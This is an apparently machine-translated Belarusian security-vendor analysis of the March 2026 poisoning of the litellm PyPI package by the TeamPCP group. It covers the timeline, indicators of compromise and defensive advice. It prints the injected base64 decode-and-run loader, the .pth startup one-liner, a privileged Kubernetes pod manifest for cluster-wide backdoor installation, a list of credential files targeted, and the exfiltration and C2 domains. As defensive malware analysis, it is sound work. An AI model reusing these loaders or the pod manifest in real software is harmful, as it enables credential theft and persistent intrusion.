Чаму гэта важна
24 сакавіка 2026 года папулярны пакет Python litellm, універсальны проксі-шлюз LLM, які выкарыстоўваецца тысячамі enterpriseдля маршрутызацыі трафіку паміж праграмамі і пастаўшчыкамі штучнага інтэлекту, такімі як OpenAI, Anthropic, Google і AWS Bedrock, быў ціха ўзламаны на PyPI. Дзве заражаныя версіі (1.82.7 і 1.82.8) былі апублікаваныя з інтэрвалам у 13 хвілін. Яны ўтрымлівалі шматступенчатую карысную нагрузку, якая крала ўліковыя дадзеныя, выцягвала сакрэты воблака, распаўсюджвалася па кластарах Kubernetes і ўсталёўвала пастаянны бэкдор з магчымасцямі дыстанцыйнага выканання кода.
З прыкладна 3.6 мільёна штодзённых загрузак Дзякуючы глыбокаму разгортванню ў воблачнай інфраструктуры штучнага інтэлекту, litellm знаходзіцца на скрыжаванні ўсяго, чаго жадаюць сучасныя зламыснікі: ключоў API для кожнага буйнога пастаўшчыка штучнага інтэлекту, воблачных уліковых дадзеных IAM, сакрэтаў Kubernetes і ключоў SSH.
Але кампраміс Litellm не быў адзінкавай падзеяй. Ён стаў кульмінацыяй пяцідзённая кампанія, якая ахоплівае пяць экасістэм зламыснікам, вядомым як TeamPCP, кампанія, якая спачатку атруціла сканеры бяспекі (Aqua Trivy, Checkmarx KICS), а затым выкарыстала скрадзеныя CI/CD Уліковыя дадзеныя для каскаднай перадачы ў npm, OpenVSX і, нарэшце, PyPI. Зламыснікі ўзброілі тыя самыя інструменты, на якія арганізацыі абапіраюцца для абароны сваіх ланцужкоў паставак.
Гэтая атака ўяўляе сабой кардынальную змену ў складанасці пагроз ланцужкоў паставак. Шматступеньчатая, міжэкасістэмная канструкцыя, якая кампраметуе інструменты бяспекі для дасягнення высокай каштоўнасці Інфраструктура штучнага інтэлекту, адлюстроўвае ўзровень планавання і аперацыйнай сталасці, які адпавядае ўсё больш камадытызаваным інструментам атак. Карысныя нагрузкі ітэраваліся ў рэжыме рэальнага часу (у зыходным кодзе прысутнічаюць тры варыянты карысных нагрузак, у тым ліку закаментаваныя папярэднія версіі), інфраструктура C2 была зарэгістравана за дзень да атакі, а дамены эксфільтрацыі былі старанна выбраны для імітацыі легітымнай інфраструктуры пастаўшчыкоў. Сістэматычна комплексны зборнік уліковых дадзеных, які ахоплівае больш за 15 катэгорый, у тым ліку нішавыя мэты, такія як ключы подпісу Cardano і канфігурацыі WireGuard, сведчыць аб ступені грунтоўнасці, якая паказвае на распрацоўку шкоднасных праграм з дапамогай штучнага інтэлекту як памнажальнік сілы.
Timeline
| Дата (UTC) | падзея |
|---|---|
| Сакавік 19 | TeamPCP кампраметуе тэгі дзеянняў Aqua Trivy GitHub, замяняючы іх шкоднасным кодам, які вылучае CI/CD сакрэты з ніжэйшых рэпазітарыяў |
| Сакавік 21 | Кампраміс распаўсюджваецца на дзеянні Checkmarx KICS і AST GitHub з выкарыстаннем падобных метадаў. |
| 22 сакавіка, 06:35 | BerriAI публікуе litellm 1.82.6 (апошнюю чыстую версію) праз звычайны рэжым CI/CD pipeline які выкарыстоўвае Trivy для сканавання бяспекі |
| Сакавік 23 | TeamPCP рэгіструе models.litellm.cloud (дамен эксфільтрацыі). Кампраметуе больш за 66 npm-пакетаў і пашырэнняў OpenVSX. |
| 24 сакавіка, 10:39 | litellm 1.82.7 апублікаваны ў PyPI -- карысная нагрузка ўведзена ў proxy_server.py у вобласці дзеяння модуля. Выконваецца пры імпарце |
| 24 сакавіка, 10:52 | litellm 1.82.8 апублікаваны праз 13 хвілін -- дадае litellm_init.pth, перахопнік канфігурацыі шляху Python, які выконваецца пры кожным запуску інтэрпрэтатара Python, а не толькі пры імпарце litellm. Паказвае хуткую ітэрацыю карыснай нагрузкі. |
| 24 сакавіка, ~16:00 | PyPI выдаляе абедзве версіі пасля паведамленняў супольнасці. Версіі цалкам выдаляюцца (не выцягваюцца) з індэкса, хоць tar-архівы CDN застаюцца даступнымі. |
Акно экспазіцыі: прыблізна 5.5 гадзін. За гэты час любыя pip install litellm, pip install --upgrade litellm, або CI/CD pipeline выцягванне апошняй версіі выканала б карысную нагрузку.
Як шкоднаснае праграмнае забеспячэнне пранікла ў сістэму: каскадны кампраміс
Пакет litellm не быў узламаны непасрэдна. Зламыснік дабраўся да яго праз атака на ланцужок паставак праз два крокі:
Aqua Trivy GitHub Action (compromised March 19) --> LiteLLM CI/CD pipeline runs Trivy without pinned version --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI LiteLLM CI/CD pipeline выкарыстоўваў Trivy як сканер бяспекі — той самы інструмент, прызначаны для выяўлення ўразлівасцей, сам быў вектарам атакі. Паколькі pipeline спасылаецца на Trivy праз зменлівы тэг, а не праз замацаваны commit SHA, узламанае дзеянне выконвалася аўтаматычна. Шкоднаснае дзеянне Trivy выкрадала сакрэты асяроддзя, у тым ліку PYPI_PUBLISH токен, які дае TeamPCP прамы доступ да публікацыі праекта litellm PyPI.
Гэтая стратэгія «кампраметаваць ахову» з'яўляецца адметнай рысай кампаніі TeamPCP. Нацэліўшыся спачатку на інструменты бяспекі (Trivy, Checkmarx KICS), зламыснікі адначасова адключылі выяўленне і атрымалі прывілеяваны доступ да ніжэйшых ланцужкоў паставак.
Тэхнічны аналіз: карысная нагрузка
Пункты ўпырску
версія 1.82.7 — Выкананне на ўзроўні модуля ў litellm/proxy/proxy_server.py (радок 128):
import subprocess, base64, sys, tempfile, os b64_payload = "<~12KB base64 blob>" with tempfile.TemporaryDirectory() as d: p = os.path.join(d, "p.py") with open(p, "wb") as f: f.write(base64.b64decode(b64_payload)) subprocess.run([sys.executable, p]) Гэты код знаходзіцца ў вобласці бачнасці модуля паміж літаралам слоўніка і арыгіналам showwarning() функцыя. Яна выконваецца неадкладна, калі litellm.proxy.proxy_server імпартуецца — што адбываецца пры любым выкарыстанні функцыянальнасці проксі-сервера litellm.
версія 1.82.8 — Дадаў litellm_init.pth (Файл канфігурацыі шляху Python):
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...) Пітон .pth файлы ў site-packages/ апрацоўваюцца пры кожным запуску інтэрпрэтатара, але толькі радкі, якія пачынаюцца з import выконваюцца як код. Зламыснік выкарыстоўвае гэта, аб'ядноўваючы ўсю карысную нагрузку ў адзін import заява: import os, subprocess, sys; subprocess.Popen(...)Гэта значна больш агрэсіўны метад, чым ін'екцыя proxy_server.py — ён спрацоўвае, нават калі litellm ніколі не імпартуецца, пры кожным запуску працэсу Python. pyproject.toml быў зменены, каб уключыць гэты файл у дыстрыбутыў:
include = [ { path = "litellm_init.pth", format = ["sdist", "wheel"] } ] Такім чынам, версія 1.82.8 мае два незалежныя шляхі выканання: ін'екцыя proxy_server.py (спрацоўвае пры імпарце проксі-сервера litellm) і файл .pth (спрацоўвае пры любым запуску Python). Надмернасць сама па сабе прыкметная — яна абараняе ад выяўлення або выдалення любога з шляхоў паасобку. Эскалацыя ад часу імпарту да выканання падчас запуску ўсяго праз 13 хвілін пасля версіі 1.82.7 сведчыць аб тым, што зламыснік сачыў за поспехам разгортвання і хутка выконваў ітэрацыі.
Этап 1: Комплексны збор паўнамоцтваў
Расшыфраваны ўнутраны сцэнар — гэта старанна прадуманы вакуум паўнамоцтваў. Ён выкарыстоўвае os.walk(), glob.glob(), subprocess.check_output()і непасрэднае чытанне файлаў для агляду ўсёй сістэмы:
| Катэгорыі | Мэты |
|---|---|
| Сістэмная разведка | hostname, whoami, uname -a, ip addr, printenv, ip route |
| SSH | ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, configключы хаста ад /etc/ssh/ |
| Воблака (AWS) | ~/.aws/credentials, ~/.aws/config; Паўнамоцтвы ролі IMDS праз 169.254.169.254Менеджэр сакрэтаў ListSecretsССМ DescribeParameters |
| Воблака (GCP) | ~/.config/gcloud/ (рэкурсіўны); $GOOGLE_APPLICATION_CREDENTIALS |
| Воблака (Azure) | ~/.azure/ (рэкурсіўныя); зменныя асяроддзя |
| Kubernetes | Токены ўліковага запісу службы; ca.crtпрастора імёнаў; kubectl get secrets --all-namespacesусе сакрэты праз API K8s |
| Файлы асяроддзя | .env, .env.local, .env.production, .env.development, .env.staging — пошук выкананы рэкурсіўна (глыбіня 6) па ўсім /home, /root, /opt, /srv, /var/www, /app, /data, /tmp |
| Докер | ~/.docker/config.json, /kaniko/.docker/config.json |
| Токены пакета | ~/.npmrc, ~/.vault-token, ~/.netrc |
| Базы дадзеных | ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.conf, канфігурацыі MongoDB |
| TLS / SSL | Прыватныя ключы ад /etc/ssl/private/, Давайце зашыфруем сертыфікаты, усе .pem/.key/.p12/.pfx файлы |
| ісці | ~/.git-credentials, ~/.gitconfig |
| CI/CD | terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg |
| Крыптавыя кашалькі | Bitcoin, сховішча ключоў Ethereum, пары ключоў Solana (валідатар, галасаванне, стэйк, кран), ключы подпісу Cardano, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero |
| Гісторыя Shell | .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history |
| Аўтэнтыфікацыя сістэмы | /etc/passwd, /etc/shadow, журналы аўтэнтыфікацыі (прынятыя SSH-сесіі) |
| Ключы вэбхука/API | Grep для Slack Webhooks, Вэб-сайт Discordhooks, Ключы/сакрэты API ў файлах канфігурацыі |
| VPN | Канфігурацыі WireGuard з /etc/wireguard/ |
Гэты зборшчык дадзеных мае шырокі спектр магчымасцей. Ён сканцэнтраваны не толькі на воблачных уліковых дадзеных, але і на крыптавалютных кашальках, паролях баз дадзеных, канфігурацыях VPN і г.д. CI/CD сакрэты — што сведчыць аб тым, што зламыснік мае намер манетызаваць заражаныя сістэмы па некалькіх вектарах.
Этап 2: Зашыфраваная эксфільтрацыя
Скрадзеныя дадзеныя шыфруюцца і выцясняюцца з дапамогай гібрыднай схемы шыфравання:
- AES-256-CBC шыфраванне ўсіх сабраных дадзеных з дапамогай выпадковага 32-байтавага ключа сесіі (праз
openssl enc) - RSA-4096 шыфраванне сесійнага ключа з выкарыстаннем убудаванага адкрытага ключа зламысніка (дапаўненне OAEP, праз
openssl pkeyutl) - Абодва шыфраваныя файлы аб'яднаны ў
tpcp.tar.gz(tpcpпрэфікс — «TeamPCP» — паслядоўна з'яўляецца на працягу ўсёй кампаніі) - HTTPS POST да
https://models.litellm.cloud/зContent-Type: application/octet-stream
Дамен models.litellm.cloud быў зарэгістраваны 23 сакавіка — за дзень да нападу — і прызначаны для зліцця з легітымнай інфраструктурай litellm (рэальны праект выкарыстоўвае litellm.aiНават абаронца, які добра ведае сетку і праглядае выходны трафік, можа не пазначаць трафік да таго, што здаецца канчатковай кропкай мадэлі litellm.
Этап 3: Пастаянны бэкдор (sysmon.py)
Карысная нагрузка ўсталёўвае бэкдор для апытання, замаскіраваны пад сістэмную тэлеметрыю:
- Шлях:
~/.config/sysmon/sysmon.py - абслугоўванне:
sysmon.service(карыстальніцкі блок systemd, які апісваецца як «Служба сістэмнай тэлеметрыі») - ПаводзіныПасля першапачатковага 300-секунднага сну апытанні
https://checkmarx.zone/rawкожныя ~50 хвілін - ExecutionЗагружае URL-адрас, вернуты C2, у
/tmp/pglog, усталёўвае яго выканальным (chmod 755), запускае яго ў асобным сеансе - Адсочванне стану:
/tmp/.pg_stateпрадухіляе паўторную загрузку той жа карыснай нагрузкі - Настойлівасць:
Restart=always,RestartSec=10— вытрымлівае збоі і перазагрузкі
Дамен checkmarx.zone гэта памылка ў Checkmarx (ахоўнай кампаніі ў checkmarx.com), распрацаваная такім чынам, каб аналітыкі SOC, якія праглядаюць сеткавыя журналы, бачылі трафік да таго, што здаецца законным пастаўшчыком бяспекі. Гэта наўмысны метад ухілення ад кантролю, які адпавядае больш шырокай стратэгіі TeamPCP, якая хаваецца за брэндам пастаўшчыка бяспекі.
Этап 3b: Бакавы рух Kubernetes
Калі ў заражанай сістэме ёсць уліковыя дадзеныя ўліковага запісу службы Kubernetes, шкоднаснае праграмнае забеспячэнне пералічвае ўсе вузлы кластара і разгортвае прывілеяваныя пады кожнаму з іх:
pod_manifest = { 'apiVersion': 'v1', 'kind': 'Pod', 'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'}, 'spec': { 'nodeName': node_name, 'hostPID': True, 'hostNetwork': True, 'tolerations': [{'operator': 'Exists'}], 'containers': [{ 'name': 'setup', 'image': 'alpine:latest', 'command': ['sh', '-c', drop_cmd], 'securityContext': {'privileged': True}, 'volumeMounts': [{'name': 'host', 'mountPath': '/host'}] }], 'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}], 'restartPolicy': 'Never' } } Кожны капсуль:
- Працуе як прывілеяваны з
hostPID,hostNetworkі поўны доступ да файлавай сістэмы хоста - Выкарыстоўвае
chroot /hostусталяваць тое ж самаеsysmon.pyбэкдор у каранёвай файлавай сістэме хаста - Рэгіструе яго як службу systemd, гарантуючы захаванне пасля выдалення pod-файла.
- названы
node-setup-*ўkube-systemпрастора імёнаў будзе выглядаць як легітымная кластарная інфраструктура
Гэта азначае адзін скампраметаваны CI/CD runner з доступам K8s можа прывесці да ўзлому ўсіх вузлоў кластара. — катастрафічны сцэнар бакавога перамяшчэння для арганізацый, якія выкарыстоўваюць litellm у якасці проксі-сервера ў Kubernetes.
Эвалюцыя карыснай нагрузкі (каментаваныя варыянты)
Зыходны код у радках 131-132 утрымлівае два закаментаваныя раней варыянты карыснай нагрузкі, якія раскрываюць працэс распрацоўкі зламысніка:
- Усе тры варыянты маюць адну і тую ж інфраструктуру эксфільтрацыі (
models.litellm.cloud), адкрыты ключ RSA-4096, гібрыдная абалонка шыфравання AES-256-CBC + RSA іtpcp.tar.gzнайменне пакетаў - Ранейшыя варыянты дадаў RC4-слай шыфравання унутры скрыпта збору дадзеных, шыфруючы сабраныя дадзеныя перад знешняй абалонкай AES+RSA. Актыўная карысная нагрузка (радок 130) спрашчаецца шляхам выдалення гэтага ўнутранага пласта RC4.
- У папярэдніх варыянтах выкарыстоўваюцца
exec()зStringIOзахоп для запуску калектара ў працэсе, пакуль актыўная карысная нагрузка выкарыстоўваеsubprocess.run()з перанакіраваннем stdout — больш чыстае падзеленне, якое не забруджвае працэс хоста - Усе тры варыянты арыентаваны на адны і тыя ж катэгорыі ўліковых дадзеных і шляхі збору
- Ключ RC4 у папярэдніх варыянтах быў правакацыйнай абразай, што адпавядала паводзінам акцёра, які імкнуўся прыцягнуць увагу ў Telegram.
Гэта сведчыць аб актыўнай распрацоўцы падчас аперацыі. Зламыснік спрасціў стэк шыфравання і палепшыў ізаляцыю выканання, захоўваючы стабільнасць мэтаў збору дадзеных і інфраструктуры выцяснення.
Паказчыкі кампрамісу (ПАК)
сетка
| індыкатар | тып | Мэта |
|---|---|---|
models.litellm.cloud | дамен | Канчатковая кропка эксфільтрацыі (HTTPS POST) |
checkmarx.zone | дамен | Канчатковая кропка апытання C2 (HTTPS GET /raw) |
Заўвага: Знешнія спасылкі на справаздачы checkmarx.zone/static/checkmarx-util-1.0.4.tgz да папярэдняй фазы KICS кампаніі TeamPCP. Гэты URL-адрас не быў знойдзены ў прааналізаваных тут карысных нагрузках litellm.
Хэшы пакетаў
| Размовы | SHA256 |
|---|---|
litellm-1.82.7.tar.gz | 8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea |
litellm-1.82.8.tar.gz | d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5 |
Файлавая Сістэма
| індыкатар | тып | Мэта |
|---|---|---|
~/.config/sysmon/sysmon.py | Размовы | Пастаянны бэкдор-скрыпт |
~/.config/systemd/user/sysmon.service | Размовы | Блок захоўвання Systemd |
/tmp/pglog | Размовы | Спампаваны бінарны файл другой ступені |
/tmp/.pg_state | Размовы | Адсочванне стану C2 |
litellm_init.pth in site-packages/ | Размовы | Запускны перахопнік Python (толькі версія 1.82.8) |
tpcp.tar.gz | Размовы | Зашыфраваны пакет экстрадыцыі |
Kubernetes
| індыкатар | тып | Мэта |
|---|---|---|
node-setup-* струкі ў kube-system | Струк | Прывілеяваныя капсулы бакавога руху |
sysmon.service на вузлах кластара | абслугоўванне | Захаванне на ўзроўні хоста праз выхад з падаў |
Крыптаграфічны
| індыкатар | дэталі |
|---|---|
| Адкрыты ключ атакуючага RSA-4096 | Адбітак пальца SHA256: bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8Убудаваны ва ўсе тры варыянты карыснай нагрузкі; той жа ключ паведамляецца ў іншых аперацыях TeamPCP. |
tpcp прэфікс у артэфактах | Канвенцыя наймення пакетаў (tpcp.tar.gz) паслядоўна на працягу ўсёй кампаніі |
Аўтарства: TeamPCP
Адсочваецца зламыснік, які стаіць за гэтай кампаніяй TeamPCP, таксама вядомы як PCPcat, Persy_PCP, ShellForce і DeadCatx3.
Вядомыя характарыстыкі:
- Вядзе каналы Telegram па адрасе
@Persy_PCPі@teampcpдзе яны здзекаваліся з ахоўных кампаній - Працуе ў некалькіх экасістэмах (GitHub Actions, PyPI, npm, OpenVSX)
- Выкарыстоўвае спецыфічныя для пастаўшчыка тыпаскватныя дамены для кожнага этапу кампаніі (напрыклад,
checkmarx.zoneдля Чэкмаркса,models.litellm.cloudдля litellm) - Паслядоўныя маркеры інфраструктуры: аднолькавая пара ключоў RSA,
tpcp.tar.gzпагадненне аб найменні,tpcp-docs-*Рэпазіторыі GitHub, якія выкарыстоўваюцца ў якасці месцаў для размяшчэння файлаў - Мэтавае выкарыстанне інструментаў бяспекі як кропак уваходу ў ланцужкі паставак ніжэй па плыні
Упэўненасць у атрыбуцыі: Высокі. Агульны адкрыты ключ RSA, tpcp Найменне артэфактаў, перакрыццё інфраструктуры C2 і аперацыйны тэмп на працягу пяцідзённай кампаніі моцна звязваюць кампрамісы Trivy, KICS, npm, OpenVSX і litellm з адным і тым жа акцёрам.
МатывацыяВерагодна, фінансавыя (крадзеж крыпта-кашалькоў, манетызацыя воблачных уліковых дадзеных) у спалучэнні з вядомасцю (здзекі з Telegram). Шырыня збору ўліковых дадзеных — ад пар ключоў AWS IAM да пар ключоў валідатара Solana і канфігурацый WireGuard — сведчыць аб фінансава матываваным удзельніку, які імкнецца максымізаваць прыбытак ад кожнага кампрамісу.
Магчымая дапамога штучнага інтэлектуЗборнік уліковых дадзеных сістэматычна комплексны — больш за 15 катэгорый, у тым ліку нішавыя мэты, такія як ключы подпісу Cardano, канфігурацыі WireGuard і ўліковыя дадзеныя Kaniko Docker — такім чынам, што гэта адпавядае пералічэнню з дапамогай штучнага інтэлекту. Хуткасць ітэрацыі карыснай нагрузкі (тры варыянты з рознымі схемамі шыфравання), каардынацыя паміж экасістэмамі (5 экасістэм за 5 дзён) і аперацыйная OPSEC (дамены, якія выдаюць сябе за пастаўшчыка, гібрыднае шыфраванне, захаванасць systemd, замаскіраваная пад тэлеметрыю) сведчаць аб узроўні прапускной здольнасці, які можа адлюстроўваць распрацоўку з дапамогай штучнага інтэлекту як множнік сілы. Гэтая ацэнка з'яўляецца гіпотэтычнай; кваліфікаваныя аператары маглі б дасягнуць падобнага аб'ёму без інструментаў штучнага інтэлекту.
Новыя ТТП і метады
1. Атручэнне ланцужка паставак інструмента бяспекі (варыянт T1195.002)
Кампраметацыя сканераў бяспекі (Trivy, KICS) у якасці першага кроку для дасягнення наступных мэтаў — гэта новая эскалацыя. Зламыснік не проста кампраметаваў бібліятэку — ён кампраметаваў інструменты, якія арганізацыі выкарыстоўваюць для выявіць скампраметаваныя бібліятэкі. Гэта стварае сляпую зону: сканер, які павінен выяўляць шкоднасны код, сам з'яўляецца механізмам дастаўкі.
2. пітон .pth Захаванне файла (T1546)
,en litellm_init.pth Тэхніка ў версіі 1.82.8 асабліва падступная. Python .pth файлы ў site-packages/ апрацоўваюцца пры кожным запуску інтэрпрэтатара; любы радок, які пачынаецца з import выконваецца як код. Злучаючы карысную нагрузку з адным import аператар, зламыснік выконваецца ў кожным працэсе Python, а не толькі пры імпарце litellm. Гэта азначае, што карысная нагрузка спрацоўвае, нават калі litellm усталяваны, але ніколі не выкарыстоўваецца, і яна выжывае пасля выпраўлення, якое замяняе ўзламаны працэс. .py файлы без праверкі .pth файлы.
3. Латэральнае перамяшчэнне Kubernetes па ўсім кластары праз разгортванне прывілеяваных падаў (T1610, T1611)
Аўтаматызаванае стварэнне прывілеяваных падаў на кожным вузле кластара — з дапамогай hostPID, hostNetwork, мантаванне файлавай сістэмы хоста і chroot усталяваць persistent — злучае разгортванне кантэйнера (T1610) з escape to host (T1611), каб ператварыць адну скампраметаваную нагрузку ў поўную кампраметацыю кластара.
4. Інфраструктура кіравання і кіравання (C2), якая імітуе сябе пад пастаўшчыка
Выкарыстанне models.litellm.cloud (імітуе litellm) і checkmarx.zone (імітуе Checkmarx) у якасці канчатковых кропак C2/exfil прызначаны для таго, каб пазбегнуць маніторынгу сеткі. Аналітыкі SOC, якія праглядаюць выходны трафік, бачаць HTTPS-злучэнні з тым, што здаецца законнымі даменамі пастаўшчыкоў.
5. Хуткая ітэрацыя карыснай нагрузкі ў палёце
Публікацыя версіі 1.82.7 з выкананнем падчас імпарту, а затым версіі 1.82.8 з выкананнем падчас запуску праз 13 хвілін паказвае, што зламыснік маніторынгуе і адаптуецца ў рэжыме рэальнага часу. Закаментаваныя варыянты карыснай нагрузкі (з рознымі схемамі шыфравання), якія захаваліся ў зыходным кодзе, пацвярджаюць актыўную распрацоўку падчас аперацыі.
Што можна зрабіць
Гэтая атака выкарыстоўвае давер на кожным узроўні: давер да інструментаў бяспекі, давер да рэестраў пакетаў, давер да знаёмых даменаў, давер да CI/CD аўтаматызацыя. Абарона ад яе патрабуе ўмацавання кожнай з гэтых межаў даверу:
Для спажыўцоў пакетаў паслуг
- Замацоўваць залежнасці па хэшу, а не толькі па версіі.
pip install litellm==1.82.6 --hash=sha256:...перашкодзіла б усталёўцы ўзламаных версій, нават калі б яны ненадоўга з'яўляліся як апошнія. - Выкарыстоўвайце файлы блакіроўкі.
pip-compile,poetry.lock, іuv.lockзахопліваць дакладныя версіі і хэшы. CI/CD варта ўсталёўваць з файлаў блакіроўкі, а не з плаваючых спецыфікатараў версіі. - Манітор для
.pthфайлы. Рэгулярна праводзіць аўдытsite-packages/для нечаканасці.pthфайлы — яны выконваюцца пры кожным запуску Python і з'яўляюцца недаацэненым механізмам захавання. - Укараніць кантроль выходнай сеткі. Эфільтрацыя да
models.litellm.cloudі апытанне C2 дляcheckmarx.zoneмаглі быць выяўленыя фільтрацыяй выхаднога сігналу на аснове белага спісу ў вытворчых асяроддзях.
Для тых, хто падтрымлівае пакеты
- Pin CI/CD дзеянні па commit SHA, а не тэг. LiteLLM pipeline выкарыстоўваў Trivy без замацаванай версіі. Калі б у ім была спасылка
aquasecurity/trivy-action@<commit-sha>замест@latest, скампраметаванае дзеянне не было б выканана. - Выкарыстоўвайце кароткачасовыя токены публікацыі з абмежаванай вобласцю дзеяння. PyPI падтрымлівае давераныя выдаўцы (на аснове OIDC) і токены API з абмежаванай вобласцю дзеяння. Выкрадзеныя
PYPI_PUBLISHтокен не павінен быў мець доўгатэрміновы, неабмежаваны доступ да публікацыі. - Уключыце двухфактарную аўтэнтыфікацыю на PyPI. Патрабаваць двухфактарную аўтарызацыю (2FA) для ўсіх распрацоўшчыкаў і выкарыстоўваць апаратныя ключы бяспекі, дзе гэта магчыма.
- Падпісваць пакеты. Атэстацыі Sigstore/PEP 740 дазваляюць спажыўцам праверыць, ці быў пакет сабраны паводле чаканых правілаў. CI/CD pipeline, а не зламыснікам са скрадзеным токенам.
Для аператараў платформаў (PyPI, npm, GitHub)
- Выяўляць анамальныя заканамернасці публікацыі. Дзве новыя версіі, апублікаваныя з інтэрвалам у 13 хвілін з іншага IP-адраса або токена, чым звычайна, павінны выклікаць чаканне праверкі або аўтаматычнае сканаванне, перш чым пакет стане прыдатным для ўсталёўкі.
- Паскорыць укараненне праграмы «Надзейныя выдаўцы». Публікацыя на аснове OIDC прывязвае пакеты да пэўных рэпазіторыяў і працоўных працэсаў, што робіць скрадзеныя токены бескарыснымі па-за арыгіналам. CI/CD кантэкст.
- Рэалізаваць сканаванне на наяўнасць шкоднасных праграм падчас публікацыі. Карысная нагрузка, дэкадаваная ў base64, у proxy_server.py будзе выяўляцца статычным аналізам падчас публікацыі.
Для экасістэмы
- Ставіцеся да інструментаў бяспекі як да крытычна важнай інфраструктуры. Мільёны людзей выкарыстоўваюць сістэмы KICS Trivy і Checkmarx pipelineІх дзеянні на GitHub павінны быць падпісаны, замацаваны і кантралявацца з такой жа строгасцю, як і пакеты, якія яны скануюць.
- Інвестуйце ў выяўленне падчас выканання. Статычны аналіз сам па сабе не можа выявіць усе метады абфускацыі. Маніторынг усталёўкі пакета падчас выканання hooks, нечаканыя сеткавыя падключэнні і падазроныя шаблоны доступу да файлаў забяспечваюць глыбока абарону.
- Хутчэй дзяліцеся інфармацыяй аб пагрозах. 5.5-гадзінны перыяд экспазіцыі для litellm мог бы быць карацейшым з-за больш хуткай міжпастаўшчыковай каардынацыі. Аўтаматызаваныя сэрвісы сканавання, такія як Xygeni MEW, Socket і Snyk, выявілі анамалію — вузкім месцам з'яўляецца пацверджанне чалавекам і час рэагавання рэестра.
Conclusion
Кампанія TeamPCP — гэта пераломны момант для software supply chain securityСпачатку ўзламаўшы сканеры бяспекі і выкарыстоўваючы іх як трамплін да высокакаштоўнай інфраструктуры штучнага інтэлекту, зламыснікі прадэманстравалі, што ланцужок паставак моцны толькі настолькі, наколькі моцны яго найслабейшая транзітыўная залежнасць, і гэтая залежнасць можа быць інструментам бяспекі, якому вы давяраеце, каб абараніць сябе.
Кампраметацыя litellm асабліва падкрэслівае ўзрастаючую рызыку для інфраструктуры штучнага інтэлекту. Па меры таго, як проксі-шлюзы LLM становяцца... standard шаблон для enterprise Пры разгортванні штучнага інтэлекту яны канцэнтруюць доступ да ключоў API, воблачных уліковых дадзеных і канфідэнцыйных дадзеных у адным кампаненце. Кампраметацыя гэтага кампанента — гэта шкілетны ключ да ўсяго стэка штучнага інтэлекту.
Арганізацыі, якія ўсталявалі litellm 1.82.7 або 1.82.8 на працягу 5.5-гадзіннага перыяду, павінны разглядаць гэта як поўную кампраметацыю ўліковых дадзеных: ратаваць усе сакрэты на пацярпелых сістэмах, праводзіць аўдыт кластараў Kubernetes на наяўнасць... node-setup-* струкі ў kube-system, выдаліце любыя sysmon.service сістэмныя адзінкі і праверце на наяўнасць litellm_init.pth у Python site-packages/ каталогі. Карыстальнікі афіцыйнага вобраза Docker (ghcr.io/berriai/litellm) не пацярпелі, бо выява замацавала свае залежнасці і не была перабудавана падчас акна экспазіцыі.
пра аўтара
Сузаснавальнік і тэхнічны дырэктар
Луіс Радрыгес з'яўляецца сузаснавальнікам і тэхнічным дырэктарам Xygeni Security. Маючы больш за 20 гадоў вопыту ў бяспецы прыкладанняў, ён спецыялізуецца на абароне AppSec і пашыраных магчымасцях аналізу кода, якія дапамагаюць камандам знізіць рэальныя рызыкі дастаўкі.




